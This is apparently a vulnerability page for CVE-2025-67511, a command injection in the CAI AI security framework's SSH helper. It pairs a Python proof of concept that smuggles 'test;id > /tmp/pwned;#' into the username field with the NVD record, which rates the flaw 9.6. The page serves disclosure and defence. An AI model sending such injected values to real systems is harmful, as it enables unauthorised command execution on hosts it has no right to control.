CVE-2025-67511

# CVE-2025-67511 PoC - Command Injection in CAI run_ssh_command_with_credentials() # The username, host, and port parameters are not escaped import requests import json # Target CAI instance target_url = "http://target:8000/api/execute" # Malicious payload - inject command via username parameter # This will execute 'id > /tmp/pwned' on the target system malicious_username = "test;id > /tmp/pwned;#" malicious_host = "127.0.0.1" payload = { "function": "run_ssh_command_with_credentials", "args": { "username": malicious_username, "password": "dummy_password", "host": malicious_host, "port": 22, "command": "echo test" } } response = requests.post(target_url, json=payload) print(f"Status: {response.status_code}") print(f"Response: {response.text}")

{"cve": {"id": "CVE-2025-67511", "sourceIdentifier": "[email protected]", "published": "2025-12-11T00:16:22.907", "lastModified": "2026-03-17T21:07:53.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cybersecurity AI (CAI) is an open-source framework for building and deploying AI-powered offensive and defensive automation. Versions 0.5.9 and below are vulnerable to Command Injection through the run_ssh_command_with_credentials() function, which is available to AI agents. Only password and command inputs are escaped in run_ssh_command_with_credentials to prevent shell injection; while username, host and port values are injectable. This issue does not have a fix at the time of publication."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aliasrobotics:cybersecurity_ai:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.5.9", "matchCriteriaId": "2060BA04-E168-4112-97E7-98519686BDD8"}]}]}], "references": [{"url": "https://github.com/aliasrobotics/cai/commit/09ccb6e0baccf56c40e6cb429c698750843a999c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/aliasrobotics/cai/security/advisories/GHSA-4c65-9gqf-4w8h", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://www.hacktivesecurity.com/blog/2025/12/10/cve-2025-67511-tricking-a-security-ai-agent-into-pwning-itself", "source": "[email protected]", "tags": ["Exploit", "Press/Media Coverage", "Third Party Advisory"]}]}}